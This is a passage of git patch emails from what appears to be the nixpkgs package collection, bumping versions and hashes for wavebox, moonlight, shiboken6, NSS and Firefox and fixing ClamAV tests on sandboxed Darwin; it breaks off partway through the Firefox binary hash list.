--- a/pkgs/by-name/wa/wavebox/package.nix
+++ b/pkgs/by-name/wa/wavebox/package.nix
@@ -156,11 +156,11 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "wavebox";
-  version = "10.137.9-2";
+  version = "10.137.11-2";
 
   src = fetchurl {
     url = "https://download.wavebox.app/stable/linux/deb/amd64/wavebox_${finalAttrs.version}_amd64.deb";
-    hash = "sha256-knJKdBegAeC2xQWnkdvx2Xyyfr3Q9uHaXlD62PnMngs=";
+    hash = "sha256-sdkpTGhpBfMgczUuyIlhYw7bB91uLW1DzMLUht54eK4=";
   };
 
   nativeBuildInputs = [

From b1f06a8f98f6369067c6c146c5b0afbb446624de Mon Sep 17 00:00:00 2001
From: isabel <isabel@isabelroses.com>
Date: Mon, 23 Jun 2025 11:09:51 +0100
Subject: [PATCH 1484/4511] moonlight: 1.3.19 -> 1.3.21

Diff: https://github.com/moonlight-mod/moonlight/compare/refs/tags/v1.3.19...refs/tags/v1.3.21

Changelog: https://raw.githubusercontent.com/moonlight-mod/moonlight/refs/tags/v1.3.21/CHANGELOG.md
(cherry picked from commit 6ab23cbe035d0920efdf8b6a9407344ceb2cd1eb)
---
 pkgs/by-name/mo/moonlight/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mo/moonlight/package.nix b/pkgs/by-name/mo/moonlight/package.nix
index 9c693388b79b..7dcba6fd299e 100644
--- a/pkgs/by-name/mo/moonlight/package.nix
+++ b/pkgs/by-name/mo/moonlight/package.nix
@@ -8,13 +8,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "moonlight";
-  version = "1.3.19";
+  version = "1.3.21";
 
   src = fetchFromGitHub {
     owner = "moonlight-mod";
     repo = "moonlight";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-cFsVYlIkSNEpGw4qT9Eea6sa1+dZyaCRZNrgQTc8wu4=";
+    hash = "sha256-E8iHTYK9iUtIjYgBNj54Xeulj9WaxSGDbzOLLFhCSqA=";
   };
 
   nativeBuildInputs = [
@@ -27,7 +27,7 @@ stdenv.mkDerivation (finalAttrs: {
 
     buildInputs = [ nodejs_22 ];
 
-    hash = "sha256-Z/OypVPARLrSfvp9U2sPdgv194nj/f2VBxcxwtvaU5Q=";
+    hash = "sha256-FOhaBm0mc7rHBGzenqRWsxGwktXTq25n/6yz7IURYXY=";
   };
 
   env = {

From 40221d7647efc56cd25e97d67e1bbf668408e064 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sat, 21 Jun 2025 12:53:31 -0400
Subject: [PATCH 1485/4511] clamav: fix tests on sandboxed Darwin

(cherry picked from commit 5e3aab16040afe6fed8d31aa9d08441992126889)
---
 pkgs/by-name/cl/clamav/package.nix            |  9 +++++----
 .../cl/clamav/remove-freshclam-test.patch     | 20 -------------------
 ...configuration-file-install-location.patch} |  0
 ...xistent-file-with-proper-permissions.patch | 13 ++++++++++++
 4 files changed, 18 insertions(+), 24 deletions(-)
 delete mode 100644 pkgs/by-name/cl/clamav/remove-freshclam-test.patch
 rename pkgs/by-name/cl/clamav/{sample-cofiguration-file-install-location.patch => sample-configuration-file-install-location.patch} (100%)
 create mode 100644 pkgs/by-name/cl/clamav/use-non-existent-file-with-proper-permissions.patch

diff --git a/pkgs/by-name/cl/clamav/package.nix b/pkgs/by-name/cl/clamav/package.nix
index 6cafb20cee6e..40ce30ebf91b 100644
--- a/pkgs/by-name/cl/clamav/package.nix
+++ b/pkgs/by-name/cl/clamav/package.nix
@@ -34,9 +34,8 @@ stdenv.mkDerivation rec {
   };
 
   patches = [
-    # Flaky test, remove this when https://github.com/Cisco-Talos/clamav/issues/343 is fixed
-    ./remove-freshclam-test.patch
-    ./sample-cofiguration-file-install-location.patch
+    ./sample-configuration-file-install-location.patch
+    ./use-non-existent-file-with-proper-permissions.patch
   ];
 
   enableParallelBuilding = true;
@@ -69,7 +68,9 @@ stdenv.mkDerivation rec {
     "-DAPP_CONFIG_DIRECTORY=/etc/clamav"
   ];
 
-  doCheck = true;
+  # Seems to only fail on x86_64-darwin with sandboxing
+  doCheck = !(stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64);
+  __darwinAllowLocalNetworking = true;
 
   checkInputs = [
     python3.pkgs.pytest
diff --git a/pkgs/by-name/cl/clamav/remove-freshclam-test.patch b/pkgs/by-name/cl/clamav/remove-freshclam-test.patch
deleted file mode 100644
index 93078b52aaad..000000000000
--- a/pkgs/by-name/cl/clamav/remove-freshclam-test.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-diff --git a/unit_tests/CMakeLists.txt b/unit_tests/CMakeLists.txt
-index 1460357ba..1194abc9d 100644
---- a/unit_tests/CMakeLists.txt
-+++ b/unit_tests/CMakeLists.txt
-@@ -371,15 +371,6 @@ if(ENABLE_APP)
-         set_property(TEST clamd_valgrind PROPERTY ENVIRONMENT ${ENVIRONMENT} VALGRIND=${Valgrind_EXECUTABLE})
-     endif()
- 
--    add_test(NAME freshclam COMMAND ${PythonTest_COMMAND};freshclam_test.py
--        WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR})
--    set_property(TEST freshclam PROPERTY ENVIRONMENT ${ENVIRONMENT})
--    if(Valgrind_FOUND)
--        add_test(NAME freshclam_valgrind COMMAND ${PythonTest_COMMAND};freshclam_test.py
--            WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR})
--        set_property(TEST freshclam_valgrind PROPERTY ENVIRONMENT ${ENVIRONMENT} VALGRIND=${Valgrind_EXECUTABLE})
--    endif()
--
-     add_test(NAME sigtool COMMAND ${PythonTest_COMMAND};sigtool_test.py
-         WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR})
-     set_property(TEST sigtool PROPERTY ENVIRONMENT ${ENVIRONMENT})
diff --git a/pkgs/by-name/cl/clamav/sample-cofiguration-file-install-location.patch b/pkgs/by-name/cl/clamav/sample-configuration-file-install-location.patch
similarity index 100%
rename from pkgs/by-name/cl/clamav/sample-cofiguration-file-install-location.patch
rename to pkgs/by-name/cl/clamav/sample-configuration-file-install-location.patch
diff --git a/pkgs/by-name/cl/clamav/use-non-existent-file-with-proper-permissions.patch b/pkgs/by-name/cl/clamav/use-non-existent-file-with-proper-permissions.patch
new file mode 100644
index 000000000000..0cbc3cb6583d
--- /dev/null
+++ b/pkgs/by-name/cl/clamav/use-non-existent-file-with-proper-permissions.patch
@@ -0,0 +1,13 @@
+diff --git a/unit_tests/check_clamd.c b/unit_tests/check_clamd.c
+index 2f526709a..df67c36ed 100644
+--- a/unit_tests/check_clamd.c
++++ b/unit_tests/check_clamd.c
+@@ -144,7 +144,7 @@ static void conn_teardown(void)
+ #define CLEANREPLY CLEANFILE ": OK"
+ #define UNKNOWN_REPLY "UNKNOWN COMMAND"
+ 
+-#define NONEXISTENT PATHSEP "nonexistentfilename"
++#define NONEXISTENT PATHSEP "tmp" PATHSEP "nonexistentfilename"
+ 
+ #define NONEXISTENT_REPLY NONEXISTENT ": File path check failure: No such file or directory. ERROR"
+ 

From 3c40897808080f1180736ef52fdfe5213e512dd3 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 4 Jun 2025 00:29:57 +0000
Subject: [PATCH 1486/4511] python3Packages.shiboken6: 6.9.0 -> 6.9.1

(cherry picked from commit 5cc3552e5a7c934491a22139248dd4818654b91a)
https://code.qt.io/cgit/pyside/pyside-setup.git/tree/doc/changelogs/changes-6.9.1?h=v6.9.1
https://hydra.nixos.org/build/301038919/nixlog/1/tail
---
 pkgs/development/python-modules/shiboken6/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/shiboken6/default.nix b/pkgs/development/python-modules/shiboken6/default.nix
index 9cce2a77d10b..6aeafa2d10bd 100644
--- a/pkgs/development/python-modules/shiboken6/default.nix
+++ b/pkgs/development/python-modules/shiboken6/default.nix
@@ -13,11 +13,11 @@ let
 in
 stdenv'.mkDerivation (finalAttrs: {
   pname = "shiboken6";
-  version = "6.9.0";
+  version = "6.9.1";
 
   src = fetchurl {
     url = "mirror://qt/official_releases/QtForPython/pyside6/PySide6-${finalAttrs.version}-src/pyside-setup-everywhere-src-${finalAttrs.version}.tar.xz";
-    hash = "sha256-MVtzu3Vw1bnmeTqNP6/R0t1/Q9Ne67AdK1VOogaq2I4=";
+    hash = "sha256-BMcSxbkjSt0Nm1qjwBoMrt5kpVtJYSd1H11SojDP90g=";
   };
 
   sourceRoot = "pyside-setup-everywhere-src-${finalAttrs.version}/sources/shiboken6";

From 573990a400bfbb36803f9ad4e98b5575b193b457 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 23 Jun 2025 06:02:29 +0200
Subject: [PATCH 1487/4511] nss_latest: 3.112 -> 3.113

https://github.com/nss-dev/nss/blob/master/doc/rst/releases/nss_3_113.rst

(cherry picked from commit a69fe005dcd475f5418dbd44866e89c561d888a6)
---
 pkgs/development/libraries/nss/latest.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/nss/latest.nix b/pkgs/development/libraries/nss/latest.nix
index a933a6428bc9..51f29eb909ec 100644
--- a/pkgs/development/libraries/nss/latest.nix
+++ b/pkgs/development/libraries/nss/latest.nix
@@ -5,6 +5,6 @@
 #       Example: nix-shell ./maintainers/scripts/update.nix --argstr package cacert
 
 import ./generic.nix {
-  version = "3.112";
-  hash = "sha256-GqMCEGuFg48iOzYwRDjNjSzyy/UJY8gf26k5DqqHlus=";
+  version = "3.113";
+  hash = "sha256-gjkJaNNTqtaMxO6PuRLZ8ATMP88L4LXCtpT84fahcmU=";
 }

From 44bd9203bd953d7b79e7b3064b912349df2723b2 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 23 Jun 2025 16:46:18 +0200
Subject: [PATCH 1488/4511] firefox-unwrapped: 139.0.4 -> 140.0

https://www.mozilla.org/en-US/firefox/140.0/releasenotes/
(cherry picked from commit e8c80f28fa6b7aed905e3d2059287dacaf9295cf)
---
 .../networking/browsers/firefox/packages/firefox.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
index 891ad11fed25..7cfd82c2462c 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
@@ -9,10 +9,10 @@
 
 buildMozillaMach rec {
   pname = "firefox";
-  version = "139.0.4";
+  version = "140.0";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "fa5ae798b0cd485e0a56b0c57ed7f33e0d0ef921302dc0169eac91926194abe2070beb54239c81924f819a60b589f305f923970d753c07ba50acc36e1a492db4";
+    sha512 = "ef209827a422bab443e2b6fc59ac16f0ad99293b3c8f10a978f222ac8da5ff568b2fadfb97784feeafa4a24883d44ea2f34b47b2bb19863a27e00d2d787b8ad3";
   };
 
   meta = {

From 9180e211f8db281f211ea459b20adc9b02b14ca9 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 23 Jun 2025 16:47:30 +0200
Subject: [PATCH 1489/4511] firefox-bin-unwrapped: 139.0.4 -> 140.0

https://www.mozilla.org/en-US/firefox/140.0/releasenotes/
(cherry picked from commit e0ece2582646de63907926af098e2cfeafb239c6)
---
 .../browsers/firefox-bin/release_sources.nix  | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
index 5254073e2b7d..a32992b8cde5 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "139.0.4";
+  version = "140.0";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ach/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ach/firefox-140.0.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "19ae3a43da28e5c553bbf4f760e8aac79351ba8e9c643af0f2631a2376d92dea";
+      sha256 = "8d3ad9d248cfb8914fdd8fbd2060b019bec1df66c1fcf6a349ca6e016ac73b13";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/af/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/af/firefox-140.0.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "b79aef52e82d5a9516a78f0f42e68780ef7aade45774a50349ae47e02493d3bb";
+      sha256 = "df92ddb1447998d2de420d57059ae92cb7d9f54954e8141b589f74d86e93292c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/an/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/an/firefox-140.0.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "c543ad41991d2b3236bbd569ec9a3a6ae7b9e5937be9de9fe09fc82362782768";
+      sha256 = "9aeb48cfaa07d5dda4f127d659471554922568cbfb1739263393c1fa00910f2d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ar/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ar/firefox-140.0.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "7d7c6f4952eb844cfc2d99397949e85159ee6213b0bffad340d1a27956a40bfc";
+      sha256 = "e38b2a27e79ab92104dad9786a0bbc42548669d6fe2a1f2a5d2bd010ead64b19";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ast/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ast/firefox-140.0.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "d11e10813bf6caef3a3f53f9ab078cd04a6fbcb9f631f79a29f34551ebd8e36e";
+      sha256 = "134d2a027f695d751ec1c0e38f26f6ffcde013245d33baffd469fa5bfa87fa14";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/az/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/az/firefox-140.0.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "d96a57a592b109a288eb73219f44197eed9513a42f14d9f5f71c2507dc0f8f3d";
+      sha256 = "66675677db100d212be5f638d2ebcdc80bfd9b36662e74d800d63d1de307fe58";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/be/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/be/firefox-140.0.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "2919a424467a0272ab35a01382c646962f8600ca16bee4176ad5cbad82e6dbc1";
+      sha256 = "2d9a00717dfeec4a2f9f9c8ded08177f806fced5a327df562d9bdebe2021b645";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/bg/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/bg/firefox-140.0.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "7777ece2f960ca28ac2312dd18c3bc1d5efb513ddc07e91543dfa77ed94db2f7";
+      sha256 = "7593b6b2d76009aa9669b9d75eb4c3dd9d3f2da3f89fab5a2c382ea1ff2ca61e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/bn/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/bn/firefox-140.0.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "3f924e294a5e6fe2cddb55e89112744772c2b46fc4450eae13e4a167a2e91853";
+      sha256 = "8a523c11fac1832daed23bd7299e70c98ed664dc5735a3ff56281d5b3b466702";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/br/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/br/firefox-140.0.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "812a847532d26309cd2d1fde6150b5e39539ceea15073a15ff4b2cc551586db7";
+      sha256 = "39e154f399b8a0f8d33505b9b4cee9107a953ede49e633339b84ce034c547542";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/bs/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/bs/firefox-140.0.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "41ca24213010d602e2e1bacf62cd3067dc5c635025c0f52df453cc17276a19ae";
+      sha256 = "e6bb1f62f62a285ffeedd76cbba32fb36946f3034f11f8024e3397d79eb10edb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ca-valencia/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ca-valencia/firefox-140.0.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "4a7a838e799b0c562538a907b6a9d6b62308a5a5c30a80d92d925dec2a53f7c6";
+      sha256 = "a9ecdcd7f3d5abab9e1dbbc08974a7bd125a3dca4bb5d50b2c5f6a67c00ae9ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ca/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ca/firefox-140.0.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "aef43b035212bb41aa691e7d8c312665bd97787f68c72a334e6a93623e8d21d1";
+      sha256 = "8d795bbf146652e3adaabbc2eac1293698095272ed62e2bb83b01066055a651c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/cak/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/cak/firefox-140.0.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "3ed2e87b31317ee971b7bb96a8dd7badf8e2fceec526b764fbaac90b4f0065f3";
+      sha256 = "27a4deda5c24b5d35fc1ddf899848ee07cfb65380e974efe60aed88407535f28";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/cs/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/cs/firefox-140.0.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "b61df9364e2bc3505596890983a29e6ba0da82f9983d54e101876c5d3f5e959c";
+      sha256 = "bdb36636dd031d6aeffad41e54931671f96bbfae37a3eaa7714dc3c4079eab0c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/cy/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/cy/firefox-140.0.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "222132c847107c81b9c929efadcb0181366379e62ae10f11a353ed5fe91f896a";
+      sha256 = "841a947889747215a01a25113ca803acdd937a3d046aa0ba6cf419276165d7dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/da/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/da/firefox-140.0.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "3d6c51d6cab42c94c1537f7ca9f871ae023bb58596fcf1214676b33ce073fec7";
+      sha256 = "b69a78fcce24e1a84c3781c5a5d94bc3c5abfaa13fb9a4e2a05e4fc4c5d3731f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/de/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/de/firefox-140.0.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "a47df34f27af806d3022034975b9cddd358ab3289e430f361c12f877ee24684d";
+      sha256 = "30dd36b419f875ea499f95b858801d781d83d141c5f16e4c1a2422d309ddcec6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/dsb/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/dsb/firefox-140.0.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "11bdcc776d0c2e6402b56af730b11e870a6f049d31a5090f642c8096e7dd2898";
+      sha256 = "3cf270312ce09b888aa23078cc9b7075e078ed198a49e8f64cb513291050ade7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/el/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/el/firefox-140.0.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "d692ffdc64227eaed48fce8c77d124fc0743577b4bc9a3e8fe78966c2f3ec5bc";
+      sha256 = "ceac2700039c86f4ad25f36aa1fd032af1f5cbcf63a499fb85e25b143ffe53c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/en-CA/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/en-CA/firefox-140.0.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "9e470eb8dc39111c621c32cce5a95c7d3a8b57bcc574720515ceb9b8d972ecc3";
+      sha256 = "bc256ad2e518df693ee8ebc38b39dda57f52e592bfe18eb86592fb302bb45421";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/en-GB/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/en-GB/firefox-140.0.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "f43c3b9b31b17cddb029933815cde6edb9602436801485279f7843b16a9c1dd1";
+      sha256 = "1953ecad7b30d249639ec06a5dd3977cda0ebe873eff36b368a96c80735a2e8c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/en-US/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/en-US/firefox-140.0.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "fe22686f09a0c46390fea430b26cccc323d92af26869699f394f25b5e71527a3";
+      sha256 = "ca3469774734743b878bca2cfb7efb7b8a8eb4a3c15c2f1f427fbc0472ad3f6e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/eo/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/eo/firefox-140.0.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "78e64de10a7fc95dd7bff528b21e0a5deb2afa00dbfc96fd83de9ac2ef3a9794";
+      sha256 = "c62d7692fb055aa6343c40a2d83530a87d3e48676c32a6b4b263988f8a5d033e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/es-AR/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/es-AR/firefox-140.0.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "5bd405f5cb1fd55b65ee0c50e03b7b00c6e5640b6e1cdbd5e242c75341c2ace2";
+      sha256 = "a14e808f3d7138cce8fb02d82a75277eb806c4dfdcf110c3436b484abb40e54b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/es-CL/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/es-CL/firefox-140.0.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "8c3f35f8bd8bc114916133659c9b0847a1f2cb83f48f0139e7a32d429850f85f";
+      sha256 = "61e03791900929469e4728a9c630147f68b4e0081e17740479c506162c21b955";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/es-ES/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/es-ES/firefox-140.0.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "85e59a1f85cadcabc191ca4127086b5162f80af63f5d90efa8aeb7c8f47195fd";
+      sha256 = "a05f2eebffc138dbfe7ce0b86753c72b53a9323be93fb0dcd0d7a8c17517666e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/es-MX/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/es-MX/firefox-140.0.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "27c3494deb84db86620c7029d36a8d300ac484555b925b50aa6c9cc94c646b61";
+      sha256 = "252cbb08be86d3e8a7b8c4866c019e9a13dd7b76921c9cac0b9919fbbcb2caed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/et/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/et/firefox-140.0.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "a82d41362ffe731565a1e5ddb4ff14c61c22f703c5582b0068ed462ff76e0557";
+      sha256 = "3c246bed857b84bb7e283051e6524a08e9e7c2c24b45e0ee02c43424e609ff5c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/eu/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/eu/firefox-140.0.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "bc28af96081a3b3df3570e368d4712e2de86da3b6d4abb5da93bcd3dc72372ca";
+      sha256 = "849688427d922c8c539d011121fc2af6c1535a8e127195832e869db0df94ea9b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/fa/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/fa/firefox-140.0.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "940e74356f31591d458e4e4767c27aa8704c9adf3d586599789d7440874f02c0";
+      sha256 = "1ef712b9624124fcac4bf8d76cf7951e569b3fd19bdaa4dc9e66092a60392f15";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ff/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ff/firefox-140.0.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "d5e94fccef9530647f6b28e94e47265277b187eeceb5104915a9ce1dd4b776e0";
+      sha256 = "dc743506e60ea801c729b37fc9f169e659b51b1bc58de8b93e49f214b76d8a95";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/fi/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/fi/firefox-140.0.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "b03c29658689808dfb8a112f8804eeded078cd1b5046e7964c83083f4c241a81";
+      sha256 = "d10ad89ad355c6a369dd2711db04a3ff4a011f8deb14017a7b4cdc0aec9c0b63";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/fr/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/fr/firefox-140.0.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "91f4dd68920742372caf8285ea2670ee10de53cc95d3e4eecb8a8c5c44eb3230";
+      sha256 = "a3e9d97ef8a1b408cb7301e35ad26e9966372541c3e0d4a2be3608434549acb1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/fur/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/fur/firefox-140.0.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "789717e8a3317f1e0ccdc7df1c82bfc717204f7a7362da7f1c6d73cf73ceccb6";
+      sha256 = "7dbd0829a3b719fc2fcc3d684424f31b50c0394be4d329e061912f32fb48f226";
     }
     {
